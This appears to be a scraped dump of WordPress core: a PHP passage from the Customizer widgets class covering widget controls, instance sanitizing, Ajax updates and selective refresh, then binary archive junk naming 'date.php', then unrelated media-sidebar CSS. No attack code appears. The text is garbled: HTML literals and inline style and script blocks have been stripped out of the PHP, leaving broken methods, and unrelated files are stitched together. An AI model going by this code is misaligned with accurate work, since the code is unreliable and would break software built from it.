true; } $id_base = $widget['id']; } $list_widget_controls_args = wp_list_widget_controls_dynamic_sidebar( array( 0 => $args, 1 => $widget['params'][0], ) ); $control_tpl = $this->get_widget_control( $list_widget_controls_args ); // The properties here are mapped to the Backbone Widget model. $available_widget = array_merge( $available_widget, array( 'temp_id' => isset( $args['_temp_id'] ) ? $args['_temp_id'] : null, 'is_multi' => $is_multi_widget, 'control_tpl' => $control_tpl, 'multi_number' => ( 'multi' === $args['_add'] ) ? $args['_multi_num'] : false, 'is_disabled' => $is_disabled, 'id_base' => $id_base, 'transport' => $this->is_widget_selective_refreshable( $id_base ) ? 'postMessage' : 'refresh', 'width' => $wp_registered_widget_controls[ $widget['id'] ]['width'], 'height' => $wp_registered_widget_controls[ $widget['id'] ]['height'], 'is_wide' => $this->is_wide_widget( $widget['id'] ), ) ); $available_widgets[] = $available_widget; } return $available_widgets; } /** * Naturally orders available widgets by name. * * @since 3.9.0 * * @param array $widget_a The first widget to compare. * @param array $widget_b The second widget to compare. * @return int Reorder position for the current widget comparison. */ protected function _sort_name_callback( $widget_a, $widget_b ) { return strnatcasecmp( $widget_a['name'], $widget_b['name'] ); } /** * Retrieves the widget control markup. * * @since 3.9.0 * * @param array $args Widget control arguments. * @return string Widget control form HTML markup. */ public function get_widget_control( $args ) { $args[0]['before_form'] = '
    '; $args[0]['after_form'] = '
    '; $args[0]['before_widget_content'] = '
    '; $args[0]['after_widget_content'] = '
    '; ob_start(); wp_widget_control( ...$args ); $control_tpl = ob_get_clean(); return $control_tpl; } /** * Retrieves the widget control markup parts. * * @since 4.4.0 * * @param array $args Widget control arguments. * @return array { * @type string $control Markup for widget control wrapping form. * @type string $content The contents of the widget form itself. * } */ public function get_widget_control_parts( $args ) { $args[0]['before_widget_content'] = '
    '; $args[0]['after_widget_content'] = '
    '; $control_markup = $this->get_widget_control( $args ); $content_start_pos = strpos( $control_markup, $args[0]['before_widget_content'] ); $content_end_pos = strrpos( $control_markup, $args[0]['after_widget_content'] ); $control = substr( $control_markup, 0, $content_start_pos + strlen( $args[0]['before_widget_content'] ) ); $control .= substr( $control_markup, $content_end_pos ); $content = trim( substr( $control_markup, $content_start_pos + strlen( $args[0]['before_widget_content'] ), $content_end_pos - $content_start_pos - strlen( $args[0]['before_widget_content'] ) ) ); return compact( 'control', 'content' ); } /** * Adds hooks for the Customizer preview. * * @since 3.9.0 */ public function customize_preview_init() { add_action( 'wp_enqueue_scripts', array( $this, 'customize_preview_enqueue' ) ); add_action( 'wp_print_styles', array( $this, 'print_preview_css' ), 1 ); add_action( 'wp_footer', array( $this, 'export_preview_data' ), 20 ); } /** * Refreshes the nonce for widget updates. * * @since 4.2.0 * * @param array $nonces Array of nonces. * @return array Array of nonces. */ public function refresh_nonces( $nonces ) { $nonces['update-widget'] = wp_create_nonce( 'update-widget' ); return $nonces; } /** * Tells the script loader to load the scripts and styles of custom blocks * if the widgets block editor is enabled. * * @since 5.8.0 * * @param bool $is_block_editor_screen Current decision about loading block assets. * @return bool Filtered decision about loading block assets. */ public function should_load_block_editor_scripts_and_styles( $is_block_editor_screen ) { if ( wp_use_widgets_block_editor() ) { return true; } return $is_block_editor_screen; } /** * When previewing, ensures the proper previewing widgets are used. * * Because wp_get_sidebars_widgets() gets called early at {@see 'init' } (via * wp_convert_widget_settings()) and can set global variable `$_wp_sidebars_widgets` * to the value of `get_option( 'sidebars_widgets' )` before the Customizer preview * filter is added, it has to be reset after the filter has been added. * * @since 3.9.0 * * @param array $sidebars_widgets List of widgets for the current sidebar. * @return array */ public function preview_sidebars_widgets( $sidebars_widgets ) { $sidebars_widgets = get_option( 'sidebars_widgets', array() ); unset( $sidebars_widgets['array_version'] ); return $sidebars_widgets; } /** * Enqueues scripts for the Customizer preview. * * @since 3.9.0 */ public function customize_preview_enqueue() { wp_enqueue_script( 'customize-preview-widgets' ); } /** * Inserts default style for highlighted widget at early point so theme * stylesheet can override. * * @since 3.9.0 */ public function print_preview_css() { ?> __( 'Shift-click to edit this widget.' ), ); if ( $switched_locale ) { restore_previous_locale(); } $rendered_sidebars = array_filter( $this->rendered_sidebars ); $rendered_widgets = array_filter( $this->rendered_widgets ); // Prepare Customizer settings to pass to JavaScript. $settings = array( 'renderedSidebars' => array_fill_keys( array_keys( $rendered_sidebars ), true ), 'renderedWidgets' => array_fill_keys( array_keys( $rendered_widgets ), true ), 'registeredSidebars' => array_values( $wp_registered_sidebars ), 'registeredWidgets' => $wp_registered_widgets, 'l10n' => $l10n, 'selectiveRefreshableWidgets' => $this->get_selective_refreshable_widgets(), ); foreach ( $settings['registeredWidgets'] as &$registered_widget ) { unset( $registered_widget['callback'] ); // May not be JSON-serializable. } wp_print_inline_script_tag( sprintf( 'var _wpWidgetCustomizerPreviewSettings = %s;', wp_json_encode( $settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) . "\n//# sourceURL=" . rawurlencode( __METHOD__ ) ); } /** * Tracks the widgets that were rendered. * * @since 3.9.0 * * @param array $widget Rendered widget to tally. */ public function tally_rendered_widgets( $widget ) { $this->rendered_widgets[ $widget['id'] ] = true; } /** * Determine if a widget is rendered on the page. * * @since 4.0.0 * * @param string $widget_id Widget ID to check. * @return bool Whether the widget is rendered. */ public function is_widget_rendered( $widget_id ) { return ! empty( $this->rendered_widgets[ $widget_id ] ); } /** * Determines if a sidebar is rendered on the page. * * @since 4.0.0 * * @param string $sidebar_id Sidebar ID to check. * @return bool Whether the sidebar is rendered. */ public function is_sidebar_rendered( $sidebar_id ) { return ! empty( $this->rendered_sidebars[ $sidebar_id ] ); } /** * Tallies the sidebars rendered via is_active_sidebar(). * * Keep track of the times that is_active_sidebar() is called in the template, * and assume that this means that the sidebar would be rendered on the template * if there were widgets populating it. * * @since 3.9.0 * * @param bool $is_active Whether the sidebar is active. * @param string $sidebar_id Sidebar ID. * @return bool Whether the sidebar is active. */ public function tally_sidebars_via_is_active_sidebar_calls( $is_active, $sidebar_id ) { if ( is_registered_sidebar( $sidebar_id ) ) { $this->rendered_sidebars[ $sidebar_id ] = true; } /* * We may need to force this to true, and also force-true the value * for 'dynamic_sidebar_has_widgets' if we want to ensure that there * is an area to drop widgets into, if the sidebar is empty. */ return $is_active; } /** * Tallies the sidebars rendered via dynamic_sidebar(). * * Keep track of the times that dynamic_sidebar() is called in the template, * and assume this means the sidebar would be rendered on the template if * there were widgets populating it. * * @since 3.9.0 * * @param bool $has_widgets Whether the current sidebar has widgets. * @param string $sidebar_id Sidebar ID. * @return bool Whether the current sidebar has widgets. */ public function tally_sidebars_via_dynamic_sidebar_calls( $has_widgets, $sidebar_id ) { if ( is_registered_sidebar( $sidebar_id ) ) { $this->rendered_sidebars[ $sidebar_id ] = true; } /* * We may need to force this to true, and also force-true the value * for 'is_active_sidebar' if we want to ensure there is an area to * drop widgets into, if the sidebar is empty. */ return $has_widgets; } /** * Retrieves MAC for a serialized widget instance string. * * Allows values posted back from JS to be rejected if any tampering of the * data has occurred. * * @since 3.9.0 * * @param string $serialized_instance Widget instance. * @return string MAC for serialized widget instance. */ protected function get_instance_hash_key( $serialized_instance ) { return wp_hash( $serialized_instance ); } /** * Sanitizes a widget instance. * * Unserialize the JS-instance for storing in the options. It's important that this filter * only get applied to an instance *once*. * * @since 3.9.0 * @since 5.8.0 Added the `$id_base` parameter. * * @global WP_Widget_Factory $wp_widget_factory * * @param array $value Widget instance to sanitize. * @param string $id_base Optional. Base of the ID of the widget being sanitized. Default null. * @return array|void Sanitized widget instance. */ public function sanitize_widget_instance( $value, $id_base = null ) { global $wp_widget_factory; if ( array() === $value ) { return $value; } if ( isset( $value['raw_instance'] ) && $id_base && wp_use_widgets_block_editor() ) { $widget_object = $wp_widget_factory->get_widget_object( $id_base ); if ( ! empty( $widget_object->widget_options['show_instance_in_rest'] ) ) { if ( 'block' === $id_base && ! current_user_can( 'unfiltered_html' ) ) { /* * The content of the 'block' widget is not filtered on the fly while editing. * Filter the content here to prevent vulnerabilities. */ $value['raw_instance']['content'] = wp_kses_post( $value['raw_instance']['content'] ); } return $value['raw_instance']; } } if ( empty( $value['is_widget_customizer_js_value'] ) || empty( $value['instance_hash_key'] ) || empty( $value['encoded_serialized_instance'] ) ) { return; } $decoded = base64_decode( $value['encoded_serialized_instance'], true ); if ( false === $decoded ) { return; } if ( ! hash_equals( $this->get_instance_hash_key( $decoded ), $value['instance_hash_key'] ) ) { return; } $instance = unserialize( $decoded ); if ( false === $instance ) { return; } return $instance; } /** * Converts a widget instance into JSON-representable format. * * @since 3.9.0 * @since 5.8.0 Added the `$id_base` parameter. * * @global WP_Widget_Factory $wp_widget_factory * * @param array $value Widget instance to convert to JSON. * @param string $id_base Optional. Base of the ID of the widget being sanitized. Default null. * @return array JSON-converted widget instance. */ public function sanitize_widget_js_instance( $value, $id_base = null ) { global $wp_widget_factory; if ( empty( $value['is_widget_customizer_js_value'] ) ) { $serialized = serialize( $value ); $js_value = array( 'encoded_serialized_instance' => base64_encode( $serialized ), 'title' => empty( $value['title'] ) ? '' : $value['title'], 'is_widget_customizer_js_value' => true, 'instance_hash_key' => $this->get_instance_hash_key( $serialized ), ); if ( $id_base && wp_use_widgets_block_editor() ) { $widget_object = $wp_widget_factory->get_widget_object( $id_base ); if ( ! empty( $widget_object->widget_options['show_instance_in_rest'] ) ) { $js_value['raw_instance'] = (object) $value; } } return $js_value; } return $value; } /** * Strips out widget IDs for widgets which are no longer registered. * * One example where this might happen is when a plugin orphans a widget * in a sidebar upon deactivation. * * @since 3.9.0 * * @global array $wp_registered_widgets * * @param array $widget_ids List of widget IDs. * @return array Parsed list of widget IDs. */ public function sanitize_sidebar_widgets_js_instance( $widget_ids ) { global $wp_registered_widgets; $widget_ids = array_values( array_intersect( $widget_ids, array_keys( $wp_registered_widgets ) ) ); return $widget_ids; } /** * Finds and invokes the widget update and control callbacks. * * Requires that `$_POST` be populated with the instance data. * * @since 3.9.0 * * @global array $wp_registered_widget_updates * @global array $wp_registered_widget_controls * * @param string $widget_id Widget ID. * @return array|WP_Error Array containing the updated widget information. * A WP_Error object, otherwise. */ public function call_widget_update( $widget_id ) { global $wp_registered_widget_updates, $wp_registered_widget_controls; $setting_id = $this->get_setting_id( $widget_id ); /* * Make sure that other setting changes have previewed since this widget * may depend on them (e.g. Menus being present for Navigation Menu widget). */ if ( ! did_action( 'customize_preview_init' ) ) { foreach ( $this->manager->settings() as $setting ) { if ( $setting->id !== $setting_id ) { $setting->preview(); } } } $this->start_capturing_option_updates(); $parsed_id = $this->parse_widget_id( $widget_id ); $option_name = 'widget_' . $parsed_id['id_base']; /* * If a previously-sanitized instance is provided, populate the input vars * with its values so that the widget update callback will read this instance */ $added_input_vars = array(); if ( ! empty( $_POST['sanitized_widget_setting'] ) ) { $sanitized_widget_setting = json_decode( $this->get_post_value( 'sanitized_widget_setting' ), true ); if ( false === $sanitized_widget_setting ) { $this->stop_capturing_option_updates(); return new WP_Error( 'widget_setting_malformed' ); } $instance = $this->sanitize_widget_instance( $sanitized_widget_setting, $parsed_id['id_base'] ); if ( is_null( $instance ) ) { $this->stop_capturing_option_updates(); return new WP_Error( 'widget_setting_unsanitized' ); } if ( ! is_null( $parsed_id['number'] ) ) { $value = array(); $value[ $parsed_id['number'] ] = $instance; $key = 'widget-' . $parsed_id['id_base']; $_REQUEST[ $key ] = wp_slash( $value ); $_POST[ $key ] = $_REQUEST[ $key ]; $added_input_vars[] = $key; } else { foreach ( $instance as $key => $value ) { $_REQUEST[ $key ] = wp_slash( $value ); $_POST[ $key ] = $_REQUEST[ $key ]; $added_input_vars[] = $key; } } } // Invoke the widget update callback. foreach ( (array) $wp_registered_widget_updates as $name => $control ) { if ( $name === $parsed_id['id_base'] && is_callable( $control['callback'] ) ) { ob_start(); call_user_func_array( $control['callback'], $control['params'] ); ob_end_clean(); break; } } // Clean up any input vars that were manually added. foreach ( $added_input_vars as $key ) { unset( $_POST[ $key ] ); unset( $_REQUEST[ $key ] ); } // Make sure the expected option was updated. if ( 0 !== $this->count_captured_options() ) { if ( $this->count_captured_options() > 1 ) { $this->stop_capturing_option_updates(); return new WP_Error( 'widget_setting_too_many_options' ); } $updated_option_name = key( $this->get_captured_options() ); if ( $updated_option_name !== $option_name ) { $this->stop_capturing_option_updates(); return new WP_Error( 'widget_setting_unexpected_option' ); } } // Obtain the widget instance. $option = $this->get_captured_option( $option_name ); if ( null !== $parsed_id['number'] ) { $instance = $option[ $parsed_id['number'] ]; } else { $instance = $option; } /* * Override the incoming $_POST['customized'] for a newly-created widget's * setting with the new $instance so that the preview filter currently * in place from WP_Customize_Setting::preview() will use this value * instead of the default widget instance value (an empty array). */ $this->manager->set_post_value( $setting_id, $this->sanitize_widget_js_instance( $instance, $parsed_id['id_base'] ) ); // Obtain the widget control with the updated instance in place. ob_start(); $form = $wp_registered_widget_controls[ $widget_id ]; if ( $form ) { call_user_func_array( $form['callback'], $form['params'] ); } $form = ob_get_clean(); $this->stop_capturing_option_updates(); return compact( 'instance', 'form' ); } /** * Updates widget settings asynchronously. * * Allows the Customizer to update a widget using its form, but return the new * instance info via Ajax instead of saving it to the options table. * * Most code here copied from wp_ajax_save_widget(). * * @since 3.9.0 * * @see wp_ajax_save_widget() */ public function wp_ajax_update_widget() { if ( ! is_user_logged_in() ) { wp_die( 0 ); } check_ajax_referer( 'update-widget', 'nonce' ); if ( ! current_user_can( 'edit_theme_options' ) ) { wp_die( -1 ); } if ( empty( $_POST['widget-id'] ) ) { wp_send_json_error( 'missing_widget-id' ); } /** This action is documented in wp-admin/includes/ajax-actions.php */ do_action( 'load-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores /** This action is documented in wp-admin/includes/ajax-actions.php */ do_action( 'widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores /** This action is documented in wp-admin/widgets.php */ do_action( 'sidebar_admin_setup' ); $widget_id = $this->get_post_value( 'widget-id' ); $parsed_id = $this->parse_widget_id( $widget_id ); $id_base = $parsed_id['id_base']; $is_updating_widget_template = ( isset( $_POST[ 'widget-' . $id_base ] ) && is_array( $_POST[ 'widget-' . $id_base ] ) && preg_match( '/__i__|%i%/', key( $_POST[ 'widget-' . $id_base ] ) ) ); if ( $is_updating_widget_template ) { wp_send_json_error( 'template_widget_not_updatable' ); } $updated_widget = $this->call_widget_update( $widget_id ); // => {instance,form} if ( is_wp_error( $updated_widget ) ) { wp_send_json_error( $updated_widget->get_error_code() ); } $form = $updated_widget['form']; $instance = $this->sanitize_widget_js_instance( $updated_widget['instance'], $id_base ); wp_send_json_success( compact( 'form', 'instance' ) ); } /* * Selective Refresh Methods */ /** * Filters arguments for dynamic widget partials. * * @since 4.5.0 * * @param array|false $partial_args Partial arguments. * @param string $partial_id Partial ID. * @return array (Maybe) modified partial arguments. */ public function customize_dynamic_partial_args( $partial_args, $partial_id ) { if ( ! current_theme_supports( 'customize-selective-refresh-widgets' ) ) { return $partial_args; } if ( preg_match( '/^widget\[(?P.+)\]$/', $partial_id, $matches ) ) { if ( false === $partial_args ) { $partial_args = array(); } $partial_args = array_merge( $partial_args, array( 'type' => 'widget', 'render_callback' => array( $this, 'render_widget_partial' ), 'container_inclusive' => true, 'settings' => array( $this->get_setting_id( $matches['widget_id'] ) ), 'capability' => 'edit_theme_options', ) ); } return $partial_args; } /** * Adds hooks for selective refresh. * * @since 4.5.0 */ public function selective_refresh_init() { if ( ! current_theme_supports( 'customize-selective-refresh-widgets' ) ) { return; } add_filter( 'dynamic_sidebar_params', array( $this, 'filter_dynamic_sidebar_params' ) ); add_filter( 'wp_kses_allowed_html', array( $this, 'filter_wp_kses_allowed_data_attributes' ) ); add_action( 'dynamic_sidebar_before', array( $this, 'start_dynamic_sidebar' ) ); add_action( 'dynamic_sidebar_after', array( $this, 'end_dynamic_sidebar' ) ); } /** * Inject selective refresh data attributes into widget container elements. * * @since 4.5.0 * * @see WP_Customize_Nav_Menus::filter_wp_nav_menu_args() * * @param array $params { * Dynamic sidebar params. * * @type array $args Sidebar args. * @type array $widget_args Widget args. * } * @return array Params. */ public function filter_dynamic_sidebar_params( $params ) { $sidebar_args = array_merge( array( 'before_widget' => '', 'after_widget' => '', ), $params[0] ); // Skip widgets not in a registered sidebar or ones which lack a proper wrapper element to attach the data-* attributes to. $matches = array(); $is_valid = ( isset( $sidebar_args['id'] ) && is_registered_sidebar( $sidebar_args['id'] ) && ( isset( $this->current_dynamic_sidebar_id_stack[0] ) && $this->current_dynamic_sidebar_id_stack[0] === $sidebar_args['id'] ) && preg_match( '#^<(?P\w+)#', $sidebar_args['before_widget'], $matches ) ); if ( ! $is_valid ) { return $params; } $this->before_widget_tags_seen[ $matches['tag_name'] ] = true; $context = array( 'sidebar_id' => $sidebar_args['id'], ); if ( isset( $this->context_sidebar_instance_number ) ) { $context['sidebar_instance_number'] = $this->context_sidebar_instance_number; } elseif ( isset( $sidebar_args['id'] ) && isset( $this->sidebar_instance_count[ $sidebar_args['id'] ] ) ) { $context['sidebar_instance_number'] = $this->sidebar_instance_count[ $sidebar_args['id'] ]; } $attributes = sprintf( ' data-customize-partial-id="%s"', esc_attr( 'widget[' . $sidebar_args['widget_id'] . ']' ) ); $attributes .= ' data-customize-partial-type="widget"'; $attributes .= sprintf( ' data-customize-partial-placement-context="%s"', esc_attr( wp_json_encode( $context ) ) ); $attributes .= sprintf( ' data-customize-widget-id="%s"', esc_attr( $sidebar_args['widget_id'] ) ); $sidebar_args['before_widget'] = preg_replace( '#^(<\w+)#', '$1 ' . $attributes, $sidebar_args['before_widget'] ); $params[0] = $sidebar_args; return $params; } /** * List of the tag names seen for before_widget strings. * * This is used in the {@see 'filter_wp_kses_allowed_html'} filter to ensure that the * data-* attributes can be allowed. * * @since 4.5.0 * @var array */ protected $before_widget_tags_seen = array(); /** * Ensures the HTML data-* attributes for selective refresh are allowed by kses. * * This is needed in case the `$before_widget` is run through wp_kses() when printed. * * @since 4.5.0 * * @param array $allowed_html Allowed HTML. * @return array (Maybe) modified allowed HTML. */ public function filter_wp_kses_allowed_data_attributes( $allowed_html ) { foreach ( array_keys( $this->before_widget_tags_seen ) as $tag_name ) { if ( ! isset( $allowed_html[ $tag_name ] ) ) { $allowed_html[ $tag_name ] = array(); } $allowed_html[ $tag_name ] = array_merge( $allowed_html[ $tag_name ], array_fill_keys( array( 'data-customize-partial-id', 'data-customize-partial-type', 'data-customize-partial-placement-context', 'data-customize-partial-widget-id', 'data-customize-partial-options', ), true ) ); } return $allowed_html; } /** * Keep track of the number of times that dynamic_sidebar() was called for a given sidebar index. * * This helps facilitate the uncommon scenario where a single sidebar is rendered multiple times on a template. * * @since 4.5.0 * @var array */ protected $sidebar_instance_count = array(); /** * The current request's sidebar_instance_number context. * * @since 4.5.0 * @var int|null */ protected $context_sidebar_instance_number; /** * Current sidebar ID being rendered. * * @since 4.5.0 * @var array */ protected $current_dynamic_sidebar_id_stack = array(); /** * Begins keeping track of the current sidebar being rendered. * * Insert marker before widgets are rendered in a dynamic sidebar. * * @since 4.5.0 * * @param int|string $index Index, name, or ID of the dynamic sidebar. */ public function start_dynamic_sidebar( $index ) { array_unshift( $this->current_dynamic_sidebar_id_stack, $index ); if ( ! isset( $this->sidebar_instance_count[ $index ] ) ) { $this->sidebar_instance_count[ $index ] = 0; } $this->sidebar_instance_count[ $index ] += 1; if ( ! $this->manager->selective_refresh->is_render_partials_request() ) { printf( "\n\n", esc_html( $index ), (int) $this->sidebar_instance_count[ $index ] ); } } /** * Finishes keeping track of the current sidebar being rendered. * * Inserts a marker after widgets are rendered in a dynamic sidebar. * * @since 4.5.0 * * @param int|string $index Index, name, or ID of the dynamic sidebar. */ public function end_dynamic_sidebar( $index ) { array_shift( $this->current_dynamic_sidebar_id_stack ); if ( ! $this->manager->selective_refresh->is_render_partials_request() ) { printf( "\n\n", esc_html( $index ), (int) $this->sidebar_instance_count[ $index ] ); } } /** * Current sidebar being rendered. * * @since 4.5.0 * @var string|null */ protected $rendering_widget_id; /** * Current widget being rendered. * * @since 4.5.0 * @var string|null */ protected $rendering_sidebar_id; /** * Filters sidebars_widgets to ensure the currently-rendered widget is the only widget in the current sidebar. * * @since 4.5.0 * * @param array $sidebars_widgets Sidebars widgets. * @return array Filtered sidebars widgets. */ public function filter_sidebars_widgets_for_rendering_widget( $sidebars_widgets ) { $sidebars_widgets[ $this->rendering_sidebar_id ] = array( $this->rendering_widget_id ); return $sidebars_widgets; } /** * Renders a specific widget using the supplied sidebar arguments. * * @since 4.5.0 * * @see dynamic_sidebar() * * @param WP_Customize_Partial $partial Partial. * @param array $context { * Sidebar args supplied as container context. * * @type string $sidebar_id ID for sidebar for widget to render into. * @type int $sidebar_instance_number Disambiguating instance number. * } * @return string|false */ public function render_widget_partial( $partial, $context ) { $id_data = $partial->id_data(); $widget_id = array_shift( $id_data['keys'] ); if ( ! is_array( $context ) || empty( $context['sidebar_id'] ) || ! is_registered_sidebar( $context['sidebar_id'] ) ) { return false; } $this->rendering_sidebar_id = $context['sidebar_id']; if ( isset( $context['sidebar_instance_number'] ) ) { $this->context_sidebar_instance_number = (int) $context['sidebar_instance_number']; } // Filter sidebars_widgets so that only the queried widget is in the sidebar. $this->rendering_widget_id = $widget_id; $filter_callback = array( $this, 'filter_sidebars_widgets_for_rendering_widget' ); add_filter( 'sidebars_widgets', $filter_callback, 1000 ); // Render the widget. ob_start(); $this->rendering_sidebar_id = $context['sidebar_id']; dynamic_sidebar( $this->rendering_sidebar_id ); $container = ob_get_clean(); // Reset variables for next partial render. remove_filter( 'sidebars_widgets', $filter_callback, 1000 ); $this->context_sidebar_instance_number = null; $this->rendering_sidebar_id = null; $this->rendering_widget_id = null; return $container; } // // Option Update Capturing. // /** * List of captured widget option updates. * * @since 3.9.0 * @var array $_captured_options Values updated while option capture is happening. */ protected $_captured_options = array(); /** * Whether option capture is currently happening. * * @since 3.9.0 * @var bool $_is_current Whether option capture is currently happening or not. */ protected $_is_capturing_option_updates = false; /** * Determines whether the captured option update should be ignored. * * @since 3.9.0 * * @param string $option_name Option name. * @return bool Whether the option capture is ignored. */ protected function is_option_capture_ignored( $option_name ) { return ( str_starts_with( $option_name, '_transient_' ) ); } /** * Retrieves captured widget option updates. * * @since 3.9.0 * * @return array Array of captured options. */ protected function get_captured_options() { return $this->_captured_options; } /** * Retrieves the option that was captured from being saved. * * @since 4.2.0 * * @param string $option_name Option name. * @param mixed $default_value Optional. Default value to return if the option does not exist. Default false. * @return mixed Value set for the option. */ protected function get_captured_option( $option_name, $default_value = false ) { if ( array_key_exists( $option_name, $this->_captured_options ) ) { $value = $this->_captured_options[ $option_name ]; } else { $value = $default_value; } return $value; } /** * Retrieves the number of captured widget option updates. * * @since 3.9.0 * * @return int Number of updated options. */ protected function count_captured_options() { return count( $this->_captured_options ); } /** * Begins keeping track of changes to widget options, caching new values. * * @since 3.9.0 */ protected function start_capturing_option_updates() { if ( $this->_is_capturing_option_updates ) { return; } $this->_is_capturing_option_updates = true; add_filter( 'pre_update_option', array( $this, 'capture_filter_pre_update_option' ), 10, 3 ); } /** * Pre-filters captured option values before updating. * * @since 3.9.0 * * @param mixed $new_value The new option value. * @param string $option_name Name of the option. * @param mixed $old_value The old option value. * @return mixed Filtered option value. */ public function capture_filter_pre_update_option( $new_value, $option_name, $old_value ) { if ( $this->is_option_capture_ignored( $option_name ) ) { return $new_value; } if ( ! isset( $this->_captured_options[ $option_name ] ) ) { add_filter( "pre_option_{$option_name}", array( $this, 'capture_filter_pre_get_option' ) ); } $this->_captured_options[ $option_name ] = $new_value; return $old_value; } /** * Pre-filters captured option values before retrieving. * * @since 3.9.0 * * @param mixed $value Value to return instead of the option value. * @return mixed Filtered option value. */ public function capture_filter_pre_get_option( $value ) { $option_name = preg_replace( '/^pre_option_/', '', current_filter() ); if ( isset( $this->_captured_options[ $option_name ] ) ) { $value = $this->_captured_options[ $option_name ]; /** This filter is documented in wp-includes/option.php */ $value = apply_filters( 'option_' . $option_name, $value, $option_name ); } return $value; } /** * Undoes any changes to the options since options capture began. * * @since 3.9.0 */ protected function stop_capturing_option_updates() { if ( ! $this->_is_capturing_option_updates ) { return; } remove_filter( 'pre_update_option', array( $this, 'capture_filter_pre_update_option' ), 10 ); foreach ( array_keys( $this->_captured_options ) as $option_name ) { remove_filter( "pre_option_{$option_name}", array( $this, 'capture_filter_pre_get_option' ) ); } $this->_captured_options = array(); $this->_is_capturing_option_updates = false; } /** * {@internal Missing Summary} * * See the {@see 'customize_dynamic_setting_args'} filter. * * @since 3.9.0 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter. */ public function setup_widget_addition_previews() { _deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' ); } /** * {@internal Missing Summary} * * See the {@see 'customize_dynamic_setting_args'} filter. * * @since 3.9.0 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter. */ public function prepreview_added_sidebars_widgets() { _deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' ); } /** * {@internal Missing Summary} * * See the {@see 'customize_dynamic_setting_args'} filter. * * @since 3.9.0 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter. */ public function prepreview_added_widget_instance() { _deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' ); } /** * {@internal Missing Summary} * * See the {@see 'customize_dynamic_setting_args'} filter. * * @since 3.9.0 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter. */ public function remove_prepreview_filters() { _deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' ); } } PK!$>×”date.phpnu„[µü¤ .media-button, .media-toolbar-primary > .media-button-group { margin-left: 10px; float: left; margin-top: 15px; } .media-toolbar-secondary > .media-button, .media-toolbar-secondary > .media-button-group { margin-right: 10px; margin-top: 15px; } /** * Sidebar */ .media-sidebar { position: absolute; top: 0; right: 0; bottom: 0; width: 267px; padding: 0 16px; z-index: 75; background: #f6f7f7; border-left: 1px solid #dcdcde; overflow: auto; -webkit-overflow-scrolling: touch; } /* * Implementation of bottom padding in overflow content differs across browsers. * We need a different method. See https://github.com/w3c/csswg-drafts/issues/129 */ .media-sidebar::after { content: ""; display: flex; clear: both; height: 24px; } .hide-toolbar .media-sidebar { bottom: 0; } .media-sidebar h2, .image-details .media-embed h2 { position: relative; font-weight: 600; text-transform: uppercase; font-size: 12px; color: #646970; margin: 24px 0 8px; } .media-sidebar .setting, .attachment-details .setting { display: block; float: left; width: 100%; margin: 0 0 10px; } .attachment-details h2 { display: grid; grid-template-columns: auto 5em; } .media-sidebar .collection-settings .setting { margin: 1px 0; } .media-sidebar .setting.has-description, .attachment-details .setting.has-description { margin-bottom: 5px; } .media-sidebar .setting .link-to-custom { margin: 3px 2px 0; } .media-sidebar .setting span, /* Back-compat for pre-5.3 */ .attachment-details .setting span, /* Back-compat for pre-5.3 */ .media-sidebar .setting .name, .media-sidebar .setting .value, .attachment-details .setting .name { min-width: 30%; margin-right: 4%; font-size: 12px; text-align: right; word-wrap: break-word; } .media-sidebar .setting .name { max-width: 80px; } .media-sidebar .setting .value { text-align: left; } .media-sidebar .setting select { max-width: 65%; } .media-sidebar .setting input[type="checkbox"], .media-sidebar .field input[type="checkbox"], .media-sidebar .setting input[type="radio"], .media-sidebar .field input[type="radio"], .attachment-details .setting input[type="checkbox"], .attachment-details .field input[type="checkbox"], .attachment-details .setting input[type="radio"], .attachment-details .field input[type="radio"] { float: none; margin: 8px 3px 0; padding: 0; } .media-sidebar .setting span, /* Back-compat for pre-5.3 */ .attachment-details .setting span, /* Back-compat for pre-5.3 */ .media-sidebar .setting .name, .media-sidebar .setting .value, .media-sidebar .checkbox-label-inline, .attachment-details .setting .name, .attachment-details .setting .value, .compat-item label span { float: left; min-height: 22px; padding-top: 8px; line-height: 1.33333333; font-weight: 400; color: #646970; } .media-sidebar .checkbox-label-inline { font-size: 12px; } .media-sidebar .copy-to-clipboard-container, .attachment-details .copy-to-clipboard-container { flex-wrap: wrap; margin-top: 10px; margin-left: calc( 35% - 1px ); padding-top: 10px; } /* Needs high specificity. */ .attachment-details .attachment-info .copy-to-clipboard-container { float: none; } .media-sidebar .copy-to-clipboard-container .success, .attachment-details .copy-to-clipboard-container .success { padding: 0; min-height: 0; line-height: 2.18181818; text-align: left; color: #007017; } .compat-item label span { text-align: right; } .media-sidebar .setting input[type="text"], .media-sidebar .setting input[type="password"], .media-sidebar .setting input[type="email"], .media-sidebar .setting input[type="number"], .media-sidebar .setting input[type="search"], .media-sidebar .setting input[type="tel"], .media-sidebar .setting input[type="url"], .media-sidebar .setting textarea, .media-sidebar .setting .value, .attachment-details .setting input[type="text"], .attachment-details .setting input[type="password"], .attachment-details .setting input[type="email"], .attachment-details .setting input[type="number"], .attachment-details .setting input[type="search"], .attachment-details .setting input[type="tel"], .attachment-details .setting input[type="url"], .attachment-details .setting textarea, .attachment-details .setting .value, .attachment-details .setting + .description { box-sizing: border-box; margin: 1px; width: 65%; float: right; } .media-sidebar .setting .value, .attachment-details .setting .value, .attachment-details .setting + .description { margin: 0 1px; text-align: left; } .attachment-details .setting + .description { clear: both; font-size: 12px; font-style: normal; margin-bottom: 10px; } .media-sidebar .setting textarea, .attachment-details .setting textarea, .compat-item .field textarea { height: 62px; resize: vertical; } .media-sidebar .alt-text textarea, .attachment-details .alt-text textarea, .compat-item .alt-text textarea, .alt-text textarea { height: 50px; } .compat-item { float: left; width: 100%; overflow: hidden; } .compat-item table { width: 100%; table-layout: fixed; border-spacing: 0; border: 0; } .compat-item tr { padding: 2px 0; display: block; overflow: hidden; } .compat-item .label, .compat-item .field { 